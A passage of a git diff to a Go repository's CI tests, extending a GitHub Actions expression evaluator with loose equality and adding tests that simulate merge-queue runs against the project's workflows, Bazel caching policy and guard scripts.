"strings" "testing" ) @@ -92,8 +94,16 @@ const sameRepoPlatformsMatrixMarkerRunsOn = "${{ matrix.runner == 'same-repo-lin // string, for the small subset of the GitHub Actions expression language // this repo's same-repo Blacksmith ternaries use: string literals, dotted // identifier lookups (resolved from a caller-supplied context map), ==, !=, -// &&, ||, !, and parentheses. It is not a general-purpose GHA expression -// engine - no functions, no numbers, no object/array literals. +// &&, ||, !, parentheses, and the true/false/null literals. Identifiers may +// contain '-' (inputs.fork-farm), and == / != follow GitHub's loose equality +// (ghEquals: strings case-insensitively, mixed types as numbers). It is not a general-purpose GHA +// expression engine - no functions, no numbers, no object/array literals. +// +// Merge queue (ci_merge_queue_test.go): callers simulate a merge_group run +// with github.event_name "merge_group", github.actor +// "github-merge-queue[bot]", github.ref "refs/heads/gh-readonly-queue/...", +// the github.event.merge_group.* fields, and no github.event.pull_request.* +// key at all (null on that event). // // && and || use GitHub's own short-circuit-returns-operand semantics (not // strict booleans: `false && 'x'` is `false`, not `false`'s boolean negation @@ -109,7 +119,7 @@ func ghTokenize(s string) ([]ghToken, error) { var toks []ghToken i := 0 isIdentByte := func(b byte) bool { - return b == '.' || b == '_' || + return b == '.' || b == '_' || b == '-' || (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') || (b >= '0' && b <= '9') } for i < len(s) { @@ -166,7 +176,7 @@ func ghTokenize(s string) ([]ghToken, error) { type ghParser struct { toks []ghToken pos int - ctx map[string]string + ctx map[string]any } func (p *ghParser) peek() (ghToken, bool) { @@ -283,13 +293,22 @@ func (p *ghParser) parsePrimary() (any, error) { case "string": return tok.val, nil case "ident": + switch tok.val { + case "true": + return true, nil + case "false": + return false, nil + case "null": + return nil, nil + } v, ok := p.ctx[tok.val] if !ok { // An identifier the caller's context does not mention (for - // example a deleted fork's head.repo.full_name) is null in the - // real evaluator; treat it as the empty string, which compares - // unequal to every non-empty literal this repo's expressions use. - return "", nil + // example a deleted fork's head.repo.full_name, or any + // github.event.pull_request.* field on merge_group) is null in + // the real evaluator: falsy, == null and == '' (both 0), unequal + // to every non-empty, non-numeric literal. + return nil, nil } return v, nil default: @@ -310,8 +329,53 @@ func ghTruthy(v any) bool { } } +// ghEquals: GitHub's loose equality for the operand kinds this evaluator +// produces. Two strings compare case-insensitively; two booleans, or two +// nulls, directly; otherwise both sides are coerced to numbers (null and ” +// to 0, true to 1, false to 0, any other string to its numeric value or +// NaN) and NaN equals nothing. So `true == 'true'` is false, as on GitHub +// (the classic workflow_call boolean-input bug), and `false == ”` is true. func ghEquals(a, b any) bool { - return fmt.Sprint(a) == fmt.Sprint(b) + if sa, ok := a.(string); ok { + if sb, ok := b.(string); ok { + return strings.EqualFold(sa, sb) + } + } + if ba, ok := a.(bool); ok { + if bb, ok := b.(bool); ok { + return ba == bb + } + } + if a == nil && b == nil { + return true + } + na, nb := ghNumber(a), ghNumber(b) + return !math.IsNaN(na) && !math.IsNaN(nb) && na == nb +} + +// ghNumber: GitHub's coercion of an operand to a number. +func ghNumber(v any) float64 { + switch x := v.(type) { + case nil: + return 0 + case bool: + if x { + return 1 + } + return 0 + case string: + t := strings.TrimSpace(x) + if t == "" { + return 0 + } + f, err := strconv.ParseFloat(t, 64) + if err != nil { + return math.NaN() + } + return f + default: + return math.NaN() + } } // evalGHExpr evaluates a GitHub Actions `${{ ... }}` expression (the wrapper @@ -319,6 +383,16 @@ func ghEquals(a, b any) bool { // "github.event_name") to its string value. See the package comment above // for the supported subset. func evalGHExpr(expr string, ctx map[string]string) (any, error) { + typed := make(map[string]any, len(ctx)) + for k, v := range ctx { + typed[k] = v + } + return evalGHExprTyped(expr, typed) +} + +// evalGHExprTyped: evalGHExpr with typed context values (a bool for a +// boolean input such as inputs.fresh-test-results, nil for null). +func evalGHExprTyped(expr string, ctx map[string]any) (any, error) { expr = strings.TrimSpace(expr) expr = strings.TrimPrefix(expr, "${{") expr = strings.TrimSuffix(expr, "}}") diff --git a/scripts/ci_merge_queue_test.go b/scripts/ci_merge_queue_test.go new file mode 100644 index 000000000..89ebd3532 --- /dev/null +++ b/scripts/ci_merge_queue_test.go @@ -0,0 +1,606 @@ +package scripts_test + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// Merge queue readiness (engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md, "Merge +// Queue"). The default-branch ruleset requires "CI Gate / Required" (pr.yml) +// and "PR Risk Gate / Required" (pr-risk.yml); with a merge queue both must +// also report on every queue entry's merge-group commit, from a merge_group +// run that has no github.event.pull_request at all. These tests simulate +// that event with the shared evalGHExpr evaluator (ci_blacksmith_runner_test.go) +// and the workflows' real step scripts. + +const ( + // Test results are cached (read and written) on every run but + // nightly's: nightly.yml passes fresh-test-results: true, and bazel.yml + // appends BAZEL_FRESH (--config=fresh, --nocache_test_results) last to + // every `bazel test`. + bazelFreshEnv = "${{ inputs.fresh-test-results && '--config=fresh' || '' }}" + bazelFreshArg = `${BAZEL_FRESH:+"$BAZEL_FRESH"}` + bazelFreshRCLine = "test:fresh --nocache_test_results" + mergeQueueActor = "github-merge-queue[bot]" + mergeQueueOwnRepo = "gastownhall/beads" +) + +// mergeGroupCtx: an evalGHExpr context for a merge_group run of entry n +// (no github.event.pull_request.* key: null on this event). +func mergeGroupCtx(n int, extra map[string]string) map[string]string { + ctx := map[string]string{ + "github.event_name": "merge_group", + "github.repository": mergeQueueOwnRepo, + "github.actor": mergeQueueActor, + "github.ref": fmt.Sprintf("refs/heads/gh-readonly-queue/main/pr-%d-%040d", 7000+n, n), + "github.run_attempt": "1", + "github.event.merge_group.base_sha": fmt.Sprintf("%040d", 100+n), + "github.event.merge_group.head_sha": fmt.Sprintf("%040d", 200+n), + "github.event.merge_group.base_ref": "refs/heads/main", + "github.event.merge_group.head_ref": fmt.Sprintf("refs/heads/gh-readonly-queue/main/pr-%d-%040d", 7000+n, n), + } + for k, v := range extra { + ctx[k] = v + } + return ctx +} + +// pullRequestCtx: an evalGHExpr context for a same-repo pull_request run. +func pullRequestCtx(n int, extra map[string]string) map[string]string { + ctx := map[string]string{ + "github.event_name": "pull_request", + "github.repository": mergeQueueOwnRepo, + "github.actor": "alice", + "github.ref": fmt.Sprintf("refs/pull/%d/merge", 7000+n), + "github.run_attempt": "1", + "github.event.pull_request.number": strconv.Itoa(7000 + n), + "github.event.pull_request.base.sha": fmt.Sprintf("%040d", 300+n), + "github.event.pull_request.head.sha": fmt.Sprintf("%040d", 400+n), + "github.event.pull_request.head.repo.full_name": mergeQueueOwnRepo, + "github.event.pull_request.head.repo.fork": "false", + } + for k, v := range extra { + ctx[k] = v + } + return ctx +} + +// interpolateGH replaces every ${{ ... }} in s with its evalGHExpr value. +func interpolateGH(t *testing.T, s string, ctx map[string]string) string { + t.Helper() + re := regexp.MustCompile(`\$\{\{(.*?)\}\}`) + return re.ReplaceAllStringFunc(s, func(m string) string { + v, err := evalGHExpr(m, ctx) + if err != nil { + t.Fatalf("evalGHExpr(%q): %v", m, err) + } + switch x := v.(type) { + case nil: + return "" + case bool: + return strconv.FormatBool(x) + default: + return fmt.Sprint(x) + } + }) +} + +// The two required gates: their workflows run on merge_group (exactly the +// checks_requested type), the gate jobs keep their ruleset names and always +// run, and no job's or step's condition in either workflow keys on the +// event, so the merge group runs (or skips) exactly what the decision jobs +// say, like a PR. +func TestMergeQueueRequiredGatesRunOnMergeGroup(t *testing.T) { + gates := map[string]string{"pr.yml": "CI Gate / Required", prRiskWorkflowName: "PR Risk Gate / Required"} + for name, gateName := range gates { + var doc struct { + On map[string]yaml.Node `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), &doc); err != nil { + t.Fatal(err) + } + mg, ok := doc.On["merge_group"] + if !ok { + t.Fatalf("%s has no merge_group trigger; a queued PR would wait forever for %q", name, gateName) + } + var trig struct { + Types []string `yaml:"types"` + } + if err := mg.Decode(&trig); err != nil || strings.Join(trig.Types, ",") != "checks_requested" { + t.Errorf("%s merge_group trigger types = %v (%v), want exactly [checks_requested]", name, trig.Types, err) + } + w := readCIWorkflow(t, name) + gate := w.job(t, "ci-gate") + if gate.Name != gateName || gate.If != "${{ always() }}" { + t.Errorf("%s ci-gate: name %q, if %q; want %q (the ruleset's exact context), if ${{ always() }}", name, gate.Name, gate.If, gateName) + } + // The gate runs on Blacksmith for a merge group (same-repo trust). + if got := mustEvalGHRunsOn(t, gate.RunsOn, mergeGroupCtx(1, nil)); !strings.HasPrefix(got, "blacksmith-") { + t.Errorf("%s ci-gate runs-on for merge_group = %q, want a Blacksmith runner", name, got) + } + event := regexp.MustCompile(`github\.event_name|github\.event\.|github\.base_ref|github\.head_ref`) + for jobName, job := range w.Jobs { + if event.MatchString(job.If) { + t.Errorf("%s job %s if %q keys on the event; decide in a job (detect-ci-tier, bazel-coverage) and read its outputs", name, jobName, job.If) + } + for _, step := range job.Steps { + if event.MatchString(step.If) { + t.Errorf("%s job %s step %q if %q keys on the event; a merge group must run it like a PR", name, jobName, step.Name, step.If) + } + if strings.Contains(step.Run, "github.base_ref") || strings.Contains(step.Run, "github.head_ref") { + t.Errorf("%s job %s step %q interpolates base_ref/head_ref, which a merge group lacks", name, jobName, step.Name) + } + } + } + } +} + +// Concurrency: a merge group's runs key on its own gh-readonly-queue/* ref, +// so two queue entries never share a group (cancel-in-progress would +// otherwise cancel the earlier entry's required checks), and a PR's own +// runs never cancel its queue entry's or the other way round. bazel.yml's +// called-workflow group never cancels a merge group either. +func TestMergeQueueConcurrencyNeverCancelsQueueRuns(t *testing.T) { + for _, name := range []string{"pr.yml", prRiskWorkflowName, bazelWorkflowName} { + var doc struct { + Concurrency struct { + Group string `yaml:"group"` + CancelInProgress any `yaml:"cancel-in-progress"` + } `yaml:"concurrency"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+name)), &doc); err != nil { + t.Fatal(err) + } + group := func(ctx map[string]string) string { + c := map[string]string{"github.workflow": strings.TrimSuffix(name, ".yml")} + for k, v := range ctx { + c[k] = v + } + return interpolateGH(t, doc.Concurrency.Group, c) + } + mg1, mg2 := group(mergeGroupCtx(1, nil)), group(mergeGroupCtx(2, nil)) + pr1 := group(pullRequestCtx(1, nil)) + if mg1 == mg2 || mg1 == pr1 || !strings.Contains(mg1, "gh-readonly-queue/main/pr-7001") { + t.Errorf("%s concurrency group: merge group 1 %q, merge group 2 %q, PR %q; want one group per queue entry, apart from the PR's", name, mg1, mg2, pr1) + } + if name == bazelWorkflowName { + if got := interpolateGH(t, fmt.Sprint(doc.Concurrency.CancelInProgress), mergeGroupCtx(1, nil)); got != "false" { + t.Errorf("%s cancel-in-progress on merge_group = %q, want false", name, got) + } + } + } +} + +// Every github.event.pull_request.* read in the required topology either +// falls back to the merge_group field (evaluated below: the queue's SHAs on +// merge_group, the PR's on pull_request) or is listed here with why null is +// right on a merge group. A new read fails until it is classified. +func TestMergeQueuePullRequestFieldsHandleMergeGroup(t *testing.T) { + // path suffix (workflow:YAML path) -> why null on merge_group is right. + nullOK := map[string]string{ + "pr.yml:.concurrency.group": "falls back to github.ref (TestMergeQueueConcurrencyNeverCancelsQueueRuns)", + "pr-risk.yml:.concurrency.group": "falls back to github.ref", + "bazel.yml:.concurrency.group": "falls back to github.ref", + "bazel-coverage.steps[0].env.FORK": "null == true is false: a merge group is never a fork (bazel.yml's rbe job's expression, verbatim)", + "rbe.steps[0].env.FORK": "null == true is false: a merge group is never a fork", + "rbe.steps[0].env.PR_NUMBER": "read only for fork/Dependabot pull_request runs (the rbe-fork mint)", + ".env.RBE_FORK_PR": "setup-bazel reads it only in the fork modes, which a merge group never takes", + "detect-ci-tier.steps[1].env.PR_BASE_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", + "detect-ci-tier.steps[1].env.PR_HEAD_SHA": "ci-embedded-tier.sh returns full coverage for merge_group before reading it", + "detect-ci-tier.steps[2].env.PR_BASE_SHA": "advisory shadow selector; merge_group selects everything", + "detect-ci-tier.steps[2].env.PR_HEAD_SHA": "advisory shadow selector; merge_group selects everything", + "bazel-test.steps[*].env.PR_NUMBER": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + "bazel-test.steps[*].env.PR_HEAD_SHA": "bazel-sync patch metadata; bazel-autofix.yml ignores non-pull_request runs", + } + used := map[string]bool{} + var fallbacks []string + for _, name := range []string{"pr.yml", prRiskWorkflowName, bazelWorkflowName} { + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", name)), "", func(path string, key bool, value string) { + if key || !strings.Contains(value, "github.event.pull_request.") { + return + } + // The Blacksmith venue ternaries name merge_group explicitly + // (TestSameRepoBlacksmithExpressionSemantics). + if strings.HasSuffix(path, ".runs-on") && strings.Contains(value, "github.event_name == 'merge_group' ||") { + return + } + if strings.Contains(value, "github.event.merge_group.") { + fallbacks = append(fallbacks, value) + return + } + for suffix := range nullOK { + // steps[*] matches any step index (the sync step moves when + // steps are added before it). + re := regexp.MustCompile(regexp.QuoteMeta(suffix) + "$") + if strings.Contains(suffix, "[*]") { + re = regexp.MustCompile(strings.ReplaceAll(regexp.QuoteMeta(suffix), `\[\*\]`, `\[[0-9]+\]`) + "$") + } + if re.MatchString(name + ":" + path) { + used[suffix] = true + return + } + } + t.Errorf("%s %s reads %q, which is null on merge_group: add a github.event.merge_group.* fallback or classify it here", name, path, value) + }) + } + for suffix, why := range nullOK { + if !used[suffix] { + t.Errorf("stale merge_group classification %q (%s): nothing matches it", suffix, why) + } + } + if len(fallbacks) < 3 { + t.Fatalf("found %d merge_group fallbacks, want at least the migration-hygiene BASE_SHA and both package gates' bounds", len(fallbacks)) + } + for _, expr := range fallbacks { + mg, pr := interpolateGH(t, expr, mergeGroupCtx(1, nil)), interpolateGH(t, expr, pullRequestCtx(1, nil)) + if !strings.HasPrefix(mg, "0000") || mg == pr || !strings.HasPrefix(pr, "0000") { + t.Errorf("%q: merge_group %q, pull_request %q; want the queue's SHA and the PR's", expr, mg, pr) + } + } +} + +// D2 on merge_group: both workflows' bazel-coverage decision, with its env +// evaluated by evalGHExpr for a merge group, retires every flagged legacy +// tier (the Bazel lanes cover them), and bazel.yml's rbe step, evaluated the +// same way, takes mode remote with the CI secrets, so pr.yml's gate requires +// those lanes to have run remotely and passed. Without the secret or with +// the farm switch off the mode is cache or skip, and the gate is red +// (TestPRRiskDecisionMatchesBazelMode's named merge_group cases). +func TestMergeQueueBazelCoversRetiredTiers(t *testing.T) { + requireHostTool(t, "bash") + for _, name := range []string{"pr.yml", prRiskWorkflowName} { + step := coverageStep(t, name) + ctx := mergeGroupCtx(1, nil) + for k, v := range workflowEnv(t, name) { + ctx["env."+k] = v + } + env := map[string]string{} + for k, v := range step.Env { + env[k] = interpolateGH(t, v, ctx) + } + if env["MERGE_GROUP"] != "true" || env["PULL_REQUEST"] != "false" || env["FORK"] != "false" || env["DEPENDABOT"] != "false" { + t.Errorf("%s bazel-coverage env on merge_group = %v", name, env) + } + out, err := runBazelRBEDecision(t, step.Run, env) + if err != nil { + t.Fatalf("%s bazel-coverage on merge_group: %v", name, err) + } + for _, r := range retiredTiers { + want := strconv.FormatBool(ctx["env."+r.flag] == "true") + if out[r.output] != want { + t.Errorf("%s bazel-coverage %s on merge_group = %q, want %s (flag %s %q)", name, r.output, out[r.output], want, r.flag, ctx["env."+r.flag]) + } + } + } + rbe := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) + for _, c := range []struct { + name, varOn, secret, mode string + }{ + {"farm on, secrets", "true", "grpcs://rbe.example:443", "remote"}, + {"secret missing", "true", "", "cache"}, + {"farm switch off", "", "grpcs://rbe.example:443", "skip"}, + } { + ctx := mergeGroupCtx(1, map[string]string{"vars.RBE_WEST_WORKERS": c.varOn, "secrets.RBE_WEST_EXECUTOR": c.secret, "inputs.rbe": "on", "inputs.fork-farm": "off"}) + env := map[string]string{} + for k, v := range rbe.Steps[0].Env { + env[k] = interpolateGH(t, v, ctx) + } + out, log, err := runBazelRBEDecisionLog(t, rbe.Steps[0].Run, env) + if err != nil { + t.Fatalf("rbe on merge_group (%s): %v", c.name, err) + } + if out["mode"] != c.mode || log != "" { + t.Errorf("rbe on merge_group (%s): mode %q (mint asked: %q), want %s without asking rbe-fork", c.name, out["mode"], log, c.mode) + } + if got := mustEvalGHRunsOn(t, rbe.RunsOn, ctx); !strings.HasPrefix(got, "blacksmith-") { + t.Errorf("rbe runs-on for merge_group = %q, want Blacksmith", got) + } + } +} + +// Test result caching: every `bazel test` in bazel.yml reuses cached +// results except where the caller asks for fresh ones. BAZEL_FRESH is one +// workflow-level env, --config=fresh only when inputs.fresh-test-results is +// true (nightly.yml passes it; nothing else does), appended after every +// other --config of each `bazel test` so its --nocache_test_results wins; +// no lane config turns caching off except docker (host state outside the +// action key); and nothing adds retries (eviction retries stay 0 where +// set, TestBazelRetiredLanesArePinned / TestBazelPRLanesArePinned). +func TestBazelTestResultCachingPolicy(t *testing.T) { + var doc struct { + Env map[string]string `yaml:"env"` + On struct { + Dispatch struct { + Inputs map[string]struct { + Type string `yaml:"type"` + Default any `yaml:"default"` + } `yaml:"inputs"` + } `yaml:"workflow_dispatch"` + Call struct { + Inputs map[string]struct { + Type string `yaml:"type"` + Default any `yaml:"default"` + } `yaml:"inputs"` + } `yaml:"workflow_call"` + } `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &doc); err != nil { + t.Fatal(err) + } + if doc.Env["BAZEL_FRESH"] != bazelFreshEnv { + t.Errorf("%s env BAZEL_FRESH = %q, want %q", bazelWorkflowName, doc.Env["BAZEL_FRESH"], bazelFreshEnv) + } + for name, in := range map[string]struct { + Type string `yaml:"type"` + Default any `yaml:"default"` + }{"workflow_call": doc.On.Call.Inputs["fresh-test-results"], "workflow_dispatch": doc.On.Dispatch.Inputs["fresh-test-results"]} { + if in.Type != "boolean" || in.Default != false { + t.Errorf("%s input fresh-test-results: type %q default %v; want boolean, default false", name, in.Type, in.Default) + } + } + for _, c := range []struct { + name string + v any + want string + }{ + {"nightly (true)", true, "--config=fresh"}, + {"default (false)", false, ""}, + {"push (null)", nil, ""}, + } { + got, err := evalGHExprTyped(bazelFreshEnv, map[string]any{"inputs.fresh-test-results": c.v}) + if err != nil { + t.Fatal(err) + } + if got != c.want { + t.Errorf("%s: BAZEL_FRESH = %#v, want %q", c.name, got, c.want) + } + } + + w := readCIWorkflow(t, bazelWorkflowName) + bazelTest := regexp.MustCompile(`^\s*bazel\s+test\b`) + tests := 0 + for name, job := range w.Jobs { + if _, ok := job.Env["BAZEL_FRESH"]; ok { + t.Errorf("%s sets BAZEL_FRESH; only the workflow env may", name) + } + for _, step := range job.Steps { + if strings.Contains(step.Run, "--config=fresh") || strings.Contains(step.Run, "cache_test_results") || strings.Contains(step.Run, "BAZEL_REUSE_RESULTS") { + t.Errorf("%s step %q names result caching directly; only BAZEL_FRESH may", name, step.Name) + } + for _, line := range strings.Split(step.Run, "\n") { + if !bazelTest.MatchString(line) { + continue + } + tests++ + i := strings.Index(line, bazelFreshArg) + if i < 0 || strings.Contains(line[i:], "--config") || strings.Contains(line[i:], "SOLE_RUN") { + t.Errorf("%s step %q: %q must pass %s after every --config", name, step.Name, line, bazelFreshArg) + } + } + } + } + if tests < 9 { + t.Errorf("found %d `bazel test` lines in %s, want every lane's (at least 9)", tests, bazelWorkflowName) + } + nightly := readCIWorkflow(t, "nightly.yml").job(t, "bazel") + if nightly.With["fresh-test-results"] != "true" { + t.Errorf("nightly.yml's bazel call with fresh-test-results = %q, want true (the run that samples flakes)", nightly.With["fresh-test-results"]) + } + for _, name := range []string{"pr.yml", "bazel-farm.yml"} { + for jobName, job := range readCIWorkflow(t, name).Jobs { + if _, ok := job.With["fresh-test-results"]; ok { + t.Errorf("%s %s passes fresh-test-results; only nightly re-executes every test", name, jobName) + } + } + } + rc := readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc") + var lines []string + for _, line := range strings.Split(rc, "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "#") { + continue + } + head, _, _ := strings.Cut(line, " ") + if strings.HasSuffix(head, ":fresh") { + lines = append(lines, line) + } + if strings.Contains(line, "cache_test_results") && line != bazelFreshRCLine && line != "test:docker --nocache_test_results" { + t.Errorf(".bazelrc %q: only test:docker and test:fresh set test result caching", line) + } + } + if strings.Join(lines, "\n") != bazelFreshRCLine { + t.Errorf(".bazelrc --config=fresh = %q, want exactly %q", lines, bazelFreshRCLine) + } + if !strings.Contains(rc, "\ntest:docker --nocache_test_results\n") { + t.Error(".bazelrc lost test:docker --nocache_test_results") + } +} + +// detect-package-gates.sh on merge_group diffs the queue's own bounds +// (merge_group.base_sha..head_sha), not HEAD^: a rebase-method entry +// stacks every commit of the PR, and only the first touches a package. +func TestMergeQueueDetectPackageGatesUsesQueueBounds(t *testing.T) { + requireHostTool(t, "git") + requireHostTool(t, "bash") + dir, base, head := mergeQueueRepo(t, []string{"npm-package/package.json"}, []string{"README.md"}) + script := filepath.Join(sourceRepoRoot(t), "scripts/ci/detect-package-gates.sh") + run := func(env ...string) map[string]string { + t.Helper() + out := filepath.Join(t.TempDir(), "out") + cmd := exec.Command("bash", script) + cmd.Dir = dir + cmd.Env = append([]string{"PATH=" + os.Getenv("PATH"), "GITHUB_OUTPUT=" + out, "GITHUB_EVENT_NAME=merge_group"}, env...) + if b, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("detect-package-gates.sh: %v\n%s", err, b) + } + data, err := os.ReadFile(out) + if err != nil { + t.Fatal(err) + } + got := map[string]string{} + for _, l := range strings.Split(strings.TrimSpace(string(data)), "\n") { + k, v, _ := strings.Cut(l, "=") + got[k] = v + } + return got + } + if got := run("PR_BASE_SHA="+base, "PR_HEAD_SHA="+head); got["npm_package"] != "true" || got["mcp_package"] != "false" { + t.Errorf("merge group whose first commit changes npm-package/: %v, want npm_package only", got) + } + if got := run(); got["npm_package"] != "true" || got["mcp_package"] != "true" { + t.Errorf("merge group without bounds: %v, want every gate", got) + } + if got := run("PR_BASE_SHA="+head+"^", "PR_HEAD_SHA="+head); got["npm_package"] != "false" { + t.Errorf("merge group touching only README.md: %v, want no gate", got) + } +} + +// fast-checks' .beads guard runs on merge_group against the queue's base +// commit and on pull_request against origin/. +func TestMergeQueueBeadsGuardRuns(t *testing.T) { + requireHostTool(t, "git") + requireHostTool(t, "bash") + step := readCIWorkflow(t, "pr.yml").job(t, "fast-checks").step(t, "Check for .beads/issues.jsonl changes") + for _, c := range []struct { + name string + changed string + pass bool + }{ + {"unrelated change", "README.md", true}, + {".beads change", ".beads/issues.jsonl", false}, + } { + dir, base, _ := mergeQueueRepo(t, []string{c.changed}) + gitIn(t, dir, "update-ref", "refs/remotes/origin/main", base) + for event, env := range map[string][]string{ + "merge_group": {"MERGE_GROUP_BASE_SHA=" + interpolateGH(t, step.Env["MERGE_GROUP_BASE_SHA"], mergeGroupCtx(1, map[string]string{"github.event.merge_group.base_sha": base}))}, + "pull_request": {"MERGE_GROUP_BASE_SHA=" + interpolateGH(t, step.Env["MERGE_GROUP_BASE_SHA"], pullRequestCtx(1, nil)), "GITHUB_BASE_REF=main"}, + } { + // GitHub's default shell for a run step without `shell:`. + cmd := exec.Command("bash", "--noprofile", "--norc", "-e", "-c", step.Run) + cmd.Dir = dir + cmd.Env = append([]string{"PATH=" + os.Getenv("PATH")}, env...) + out, err := cmd.CombinedOutput() + if (err == nil) != c.pass { + t.Errorf("%s, %s: err %v, want pass %v\n%s", event, c.name, err, c.pass, out) + } + } + } +} + +// The guard fails closed when its diff base is missing (a failed git diff +// piped into grep -q would otherwise pass). +func TestMergeQueueBeadsGuardFailsWithoutBase(t *testing.T) { + requireHostTool(t, "git") + requireHostTool(t, "bash") + step := readCIWorkflow(t, "pr.yml").job(t, "fast-checks").step(t, "Check for .beads/issues.jsonl changes") + dir, _, _ := mergeQueueRepo(t, []string{"README.md"}) + for name, env := range map[string][]string{ + "merge_group, unknown base_sha": {"MERGE_GROUP_BASE_SHA=" + strings.Repeat("e", 40)}, + "pull_request, no origin/main": {"GITHUB_BASE_REF=main"}, + } { + cmd := exec.Command("bash", "--noprofile", "--norc", "-e", "-c", step.Run) + cmd.Dir = dir + cmd.Env = append([]string{"PATH=" + os.Getenv("PATH")}, env...) + if out, err := cmd.CombinedOutput(); err == nil || !strings.Contains(string(out), "unavailable") { + t.Errorf("%s: err %v, want a failure naming the missing base\n%s", name, err, out) + } + } +} + +// check-doc-flags' CLI-docs drift attribution needs a diff base; a merge +// group has no GITHUB_BASE_REF, so the step passes the queue's base commit +// (and nothing on pull_request, where origin/$GITHUB_BASE_REF applies). +// Without it, drift already on main fails every queue entry. +func TestMergeQueueDocDriftHasDiffBase(t *testing.T) { + step := readCIWorkflow(t, "pr.yml").job(t, "check-doc-flags").step(t, "Validate docs against CLI") + expr := step.Env["BD_DOCS_DIFF_BASE"] + if got := interpolateGH(t, expr, mergeGroupCtx(1, nil)); got != fmt.Sprintf("%040d", 101) { + t.Errorf("check-doc-flags BD_DOCS_DIFF_BASE on merge_group = %q (%q), want merge_group.base_sha", got, expr) + } + if got := interpolateGH(t, expr, pullRequestCtx(1, nil)); got != "" { + t.Errorf("check-doc-flags BD_DOCS_DIFF_BASE on pull_request = %q, want empty (origin/$GITHUB_BASE_REF)", got) + } + drift := readPolicyFile(t, sourceRepoRoot(t), "scripts/check-cli-docs-drift.sh") + if !strings.Contains(drift, `BASE_REF="${BD_DOCS_DIFF_BASE:-}"`) { + t.Error("check-cli-docs-drift.sh no longer reads BD_DOCS_DIFF_BASE") + } +} + +// The shared evaluator follows GitHub's loose equality, so a boolean input +// compared with a string ('true') is false, as on GitHub, instead of +// masking that classic workflow_call bug. +func TestGHExprLooseEquality(t *testing.T) { + for _, c := range []struct { + expr string + ctx map[string]any + want bool + }{ + {"${{ inputs.b == 'true' }}", map[string]any{"inputs.b": true}, false}, + {"${{ inputs.b == true }}", map[string]any{"inputs.b": true}, true}, + {"${{ inputs.b == false }}", map[string]any{"inputs.b": false}, true}, + {"${{ inputs.b == '' }}", map[string]any{"inputs.b": false}, true}, + {"${{ github.event.pull_request.head.repo.fork == true }}", map[string]any{}, false}, + {"${{ github.event.pull_request.number == '' }}", map[string]any{}, true}, + {"${{ vars.X == 'true' }}", map[string]any{"vars.X": "TRUE"}, true}, + {"${{ github.run_attempt != '1' }}", map[string]any{"github.run_attempt": "2"}, true}, + } { + got, err := evalGHExprTyped(c.expr, c.ctx) + if err != nil { + t.Fatal(err) + } + if got != c.want { + t.Errorf("%s with %v = %v, want %v", c.expr, c.ctx, got, c.want) + } + } +} + +// mergeQueueRepo: a git repo with a base commit and one commit per file +// group on top; returns its dir, the base SHA and the head SHA. +func mergeQueueRepo(t *testing.T, commits ...[]string) (dir, base, head string) { + t.Helper() + dir = t.TempDir() + gitIn(t, dir, "init", "-q", "-b", "main") + write := func(rel, content string) { + p := filepath.Join(dir, rel) + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } + write("base.txt", "base\n") + gitIn(t, dir, "add", "-A") + gitIn(t, dir, "commit", "-q", "-m", "base") + base = strings.TrimSpace(gitIn(t, dir, "rev-parse", "HEAD")) + for i, files := range commits { + for _, f := range files { + write(f, fmt.Sprintf("change %d\n", i)) + } + gitIn(t, dir, "add", "-A") + gitIn(t, dir, "commit", "-q", "-m", fmt.Sprintf("change %d", i)) + } + head = strings.TrimSpace(gitIn(t, dir, "rev-parse", "HEAD")) + return dir, base, head +} + +func gitIn(t *testing.T, dir string, args ...string) string { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL="+os.DevNull, + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@example.com", "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@example.com") + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git %v: %v\n%s", args, err, out) + } + return string(out) +} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index f760611cc..9faea6ed3 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -3310,13 +3310,10 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { "migration-hygiene": "Run migration hygiene checks", "no-beads-changes": "Check for .beads/issues.jsonl changes", "fmt": "Check gofmt", }[stepID]) + // Every step runs on both PR triggers, merge_group included (the + // .beads diff takes merge_group.base_sha there), so the gate + // excuses none of their skips. wantIf := "${{ !cancelled() }}" - if stepID == "no-beads-changes" { - // pull_request-only, same as before the fold: merge_group has no - // base_ref to diff against. The CI_GATE_SKIPPED_OK allowlist - // below covers exactly that skip on merge_group runs. - wantIf = "${{ !cancelled() && github.event_name == 'pull_request' }}" - } if step.ID != stepID || step.If != wantIf { t.Errorf("fast-checks step %q: id %q, if %q; want id %q, if %q", step.Name, step.ID, step.If, stepID, wantIf) } @@ -3332,11 +3329,17 @@ func TestPRCIGateFastChecksTokens(t *testing.T) { t.Errorf("ci-gate env %s = %q, want %q", m.token, gateStep.Env[m.token], wantEnv) } } - // CHECK_NO_BEADS_CHANGES's step only runs on pull_request; the gate's own - // run: script must still allow-list exactly that skip on merge_group, - // unchanged by the fold. - if !strings.Contains(gateStep.Run, `skipped_ok="CHECK_NO_BEADS_CHANGES"`) { - 